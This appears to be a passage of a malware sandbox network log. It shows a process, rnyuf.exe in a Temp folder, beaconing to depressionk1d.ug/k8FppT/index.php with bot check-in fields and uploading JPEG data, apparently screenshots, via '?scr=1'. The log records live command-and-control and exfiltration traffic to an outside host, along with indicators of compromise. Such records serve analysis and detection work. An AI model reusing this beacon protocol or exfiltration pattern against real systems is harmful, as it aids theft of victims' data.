Nov 12, 2021 22:24:01.877657890 CET	9559	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:01.877724886 CET	9572	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:24:01.877798080 CET	9585	OUT	Data Raw: 34 fe b0 fb 69 7b 7e 2f fe 1f fe 18 1e 1d 5e d7 fe bf ad 3d 4e 7e 2d 1b 55 9a c1 6f e2 d2 ef a4 b3 66 08 b7 09 6e e6 32 c4 ed 00 30 18 ce 78 c7 af 15 0c 76 37 93 cc f0 c3 69 71 24 a8 c1 1e 34 89 8b 2b 16 0a 01 00 64 12 c4 0c 7a 9c 56 ef 8a b4 dd Data Ascii: 4i{~/^=N~-Uofn20xv7iq$4+dzVrMf]o4Ffr3[lqx[RSR=+]v/CIa.usFXzqU5'4/."{6FUf<x:j:h%i
Nov 12, 2021 22:24:01.925518036 CET	9755	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.4	50011	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:01.938663006 CET	9756	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:01.966550112 CET	9757	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.4	50013	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.190659046 CET	9758	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:02.219743967 CET	9758	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.4	50015	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.356617928 CET	9762	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:02.382848978 CET	9763	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.4	50017	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.385946989 CET	9763	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:02.386378050 CET	9763	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:02.386569977 CET	9773	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:02.386697054 CET	9776	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:02.409090996 CET	9789	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:02.409181118 CET	9795	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:02.409241915 CET	9802	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:02.431680918 CET	9815	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:02.431809902 CET	9836	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:24:02.431902885 CET	9857	OUT	Data Raw: 23 55 39 3d c7 8e b4 f1 c1 a6 03 c5 2e 6a 6c 5a 64 81 b9 a7 a9 cd 43 de a4 5a 96 8d 22 c9 29 c3 a5 34 52 d4 b3 64 c9 01 c0 a7 83 51 03 4f 0c 2a 19 69 92 66 9c 2a 2d d4 a1 8d 4b 46 89 93 8a 5c d4 60 9a 77 6e 4e 2a 5a 34 4c 90 1c 53 81 15 01 92 25 Data Ascii: #U9=.jlZdCZ")4RdQOif-KF\`wnN*Z4LS%(iZEP~#{!Ht}+<v?io\_@BQo[uf% XkWEWkVK1iS<z%[W099 w'x`\|>svO<c8<?Q}[Ya
Nov 12, 2021 22:24:02.454257965 CET	9866	OUT	Data Raw: 41 26 9f 9d c5 ce ff 00 0b 1a fe 2b be b6 d5 3c 61 ac 5f d9 49 e6 db 5c 5d 3c 91 3e d2 bb 94 9e 0e 08 04 7e 35 91 49 4a 29 c2 2a 11 51 5d 09 93 bb b9 d2 78 3b 52 b6 d3 67 d5 c5 c5 ed 9d 9b dd 69 cd 04 32 5e db 1b 88 77 f9 b1 b6 19 02 3e 46 15 ba Data Ascii: A&+<a_I\]<>~5IJ)Q]x;Rgi2^w>FeM)j{[nb[yVuP0UH!0OL4TwQwhu:I'twOzS-\|U%,/#-c-f8\=%>VIytY)o$k+x<
Nov 12, 2021 22:24:02.480170965 CET	9877	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.4	50018	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.531311989 CET	9879	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:02.556371927 CET	9879	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49804	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:20.804045916 CET	2762	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:20.804225922 CET	2762	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:20.804445028 CET	2772	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:20.804574966 CET	2775	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:20.828291893 CET	2801	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:20.850832939 CET	2803	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:20.850860119 CET	2809	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:20.850915909 CET	2811	OUT	Data Raw: 61 82 fe 55 f8 9d 67 c5 9b 54 b0 f8 61 15 9c 45 8c 70 4b 04 4a 58 f2 42 82 06 7d f8 af 9e ab bd f1 67 c5 1b ef 16 e8 6d a5 dc e9 d6 f0 21 91 64 0f 13 b6 41 1f 5f ad 70 55 78 78 4e 31 7c db dc 55 e5 19 49 72 ed 60 a5 a4 a2 b7 30 0a 29 45 06 80 0a Data Ascii: aUgTaEpKJXB}gm!dA_pUxxN1\|UIr`0)E(4;Pzm8P@:AKLBh0E%-Mj-Q@Rm(!L8UNDQL)TKN"GR3N+Si0m(H\QLC?0SZ%)hD@RFSMT'GjL
Nov 12, 2021 22:23:20.850935936 CET	2814	OUT	Data Raw: 24 f0 cc b2 e9 b1 5d c5 a9 69 f2 49 34 13 5c c1 6a 0c a2 59 a3 89 98 3b 2e 50 2f f0 31 c1 60 70 3a 76 aa e9 a1 dd 3e a7 05 80 96 df cd 9a c8 5f 29 dc 76 88 fc 93 36 0f 1d 76 8f a6 7b f7 ab 17 1e 23 58 b4 0d 2a d2 c2 da cc ea 31 d9 5c 41 35 d9 8e Data Ascii: $]iI4\jY;.P/1`p:v>_)v6v{#X1\A5A%iTuH@#4?AiDi@`v0wv{c5VIw4[?wWu<j)d2xpH#SxjKIYuO,Bw@dHjC}&_-r[+YE+9
Nov 12, 2021 22:23:20.850991964 CET	2817	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:20.851021051 CET	2822	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,
Nov 12, 2021 22:23:20.902765036 CET	2872	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:20 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.4	50020	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.714185953 CET	10069	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:02.739989042 CET	10070	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.4	50022	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:02.873610020 CET	10086	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:02.901458979 CET	10087	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:02.927686930 CET	10087	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:02.927989006 CET	10087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:02.928000927 CET	10098	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:02.928716898 CET	10100	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:02.952507019 CET	10108	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:02.952537060 CET	10119	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:02.952626944 CET	10124	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
